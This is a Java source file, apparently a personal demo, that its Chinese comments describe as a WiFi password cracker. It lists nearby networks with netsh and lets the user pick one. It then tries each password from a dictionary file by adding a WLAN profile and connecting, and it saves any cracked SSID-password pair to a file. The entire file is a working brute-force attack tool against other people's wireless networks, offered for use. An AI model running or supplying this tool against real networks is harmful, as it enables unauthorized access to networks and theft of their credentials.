package com.wifi.wifi1;


import com.wifi.wifi1.utils.CmdUtils;
import com.wifi.wifi2.utils.StringUtils;
import com.wifi.wifi2.utils.WiFiUtils;
import org.springframework.util.FileCopyUtils;

import java.io.*;
import java.util.*;
import java.util.concurrent.atomic.AtomicBoolean;

/**
 * @author ZhangYue26
 * @date 2020-07-11 14:40
 * @Description: 破解WIFI密码Demo，注意暂不支持破解手机热点
 */
public class WifiDemo {

    private static List<String> resultList = new ArrayList<>();//用于存储破解成功的WIFI名称和密码


    public static void main(String[] args) throws IOException {

//        String passwordFile = DictionaryUtils.generateNumbersFile(8,8,"D:\\");//生成纯数字密码文件
//        crackWIFI(passwordFile);
        crackWIFI("D:\\密码字典1594619983627.txt");
        outputFile("C:\\Users\\zhangyue26\\Desktop\\");//将破解结果输出到文件

    }


    /**
     * @Author ZhangYue26
     * @Description: 根据输入序号破解某一个WIFi,输出到D盘根目录
     * @Description //TODO
     * @Date 2020/7/13 9:45
     * @Param [passwordFile]
     * @return void
     **/
    private static void crackWIFI(String passwordFile) throws IOException {
        List<String> wifiList = CmdUtils.execute("netsh wlan show networks mode=bssid", "./");
        List<String> ssidList = getSsidList(wifiList);
        for (int i = 0; i < ssidList.size(); i++) {
            System.out.println((i+1)+"."+ssidList.get(i));
        }
        System.out.println("请输入wifi序号:");

        Scanner sca =new Scanner(System.in);
        sca.useDelimiter("\n");
        int num = sca.nextInt();

        String ssid = ssidList.get(num - 1);

        System.out.println("-----------您选择的wifi为【"+ssid+"】-------------");
        System.out.println("-----------开始-------------");

//        String path = AutoAllWifiDemo.class.getClassLoader().getResource("C:\\Users\\zhangyue26\\Desktop\\password.txt").getPath();
        BufferedReader reader = new BufferedReader(new FileReader(passwordFile));


        String pwd = null;
        int i = 0;
        System.out.println("开始连接-->" + ssid);
        while((pwd = reader.readLine()) != null){

            i++;
            boolean success = connect(ssid, pwd);
            if(success){
                resultList.add("连接成功，"+ssid+"的密码为"+pwd);
                System.out.println("连接成功，"+ssid+"的密码为"+pwd);
                return;
            }
        }
    }

    /**
     * 连接wifi
     * @param ssid
     * @param wifiPwd
     */
    private static boolean connect(String ssid, String wifiPwd) {
        AtomicBoolean isTrue = new AtomicBoolean(false);
        try {
            String hex = StringUtils.str2HexStr(ssid);
            //生成wifi配置文件
            String wifiConf = WiFiUtils.getWifiStr(ssid, hex,wifiPwd);
            File out = new File("./temp.xml");
            FileCopyUtils.copy(wifiConf.getBytes(), out);
            //添加配置文件
            printList(com.wifi.wifi2.utils.CmdUtils.execute("netsh wlan add profile filename=temp.xml","./"));
            //连接wifi
            printList(com.wifi.wifi2.utils.CmdUtils.execute("netsh wlan connect name=\""+ssid+"\"","./"));
            //测试网络，使用ping的方式检测网络，此处建议优化改其他效率更高的方式，暂停2000毫秒是因为连接WiFi需要时间，这个时间因环境而异
            Thread.sleep(95);
            List<String> ipconfig = com.wifi.wifi2.utils.CmdUtils.execute("ipconfig", "./");
            ipconfig.forEach(config->{
                if (config.contains("IPv4 地址")||config.contains("IPv4")) {
                    isTrue.set(true);
                }
            });
            return isTrue.get();

        }catch (Exception e){
            e.printStackTrace();
        }
        return isTrue.get();
    }

    /**
     * @Author ZhangYue26
     * @Description: 将密码输出文件到指定目录中
     * @Description //TODO
     * @Date 2020/7/13 9:49
     * @Param []
     * @return void
     **/
    private static void outputFile(String resultFilePath) throws IOException {
        String fileName = "破解结果" + System.currentTimeMillis()+".txt";
        File file = new File(resultFilePath+fileName);
        boolean exists = file.exists();
        if (!exists) {//如果不存在则创建文件
            file.createNewFile();
        }
        OutputStream outputStream = new FileOutputStream(file);
        resultList.forEach(val->{
            try {
                outputStream.write((val+"\r\n").getBytes());
                outputStream.flush();
            } catch (IOException e) {
                System.out.println("写文件时出现异常");
                e.printStackTrace();
            }
        });
        outputStream.close();

    }

    /**
     * 获得ssidList
     * @param resultList 通过cmd命令查出来的附件WiFi
     * @return
     */
    private static List<String> getSsidList(List<String> resultList) {
        List<String> ssidList = new ArrayList<String>();
        //遍历result获得ssid
        for (String result : resultList) {
            if(result.startsWith("SSID")){
                String ssid = result.substring(result.indexOf(":")+2);
                ssidList.add(ssid);
            }
        }
        return ssidList;
    }

    /**
     * 打印list数据
     * @param resultList
     */
    private static void printList(List<String> resultList) {
        for (String result : resultList) {
            System.out.println(result);
        }
    }

    /**
     * ping 校验
     */
    private static boolean ping() {
        boolean pinged = false;
        String cmd = "ping www.baidu.com";
        List<String> result = CmdUtils.execute(cmd, "./");
//        printList(result);
        if (result != null && result.size() > 0) {
            for (String item : result) {
                if (item.contains("来自")) {
                    pinged = true;
                    break;
                }
            }
        }
        return pinged;
    }



}
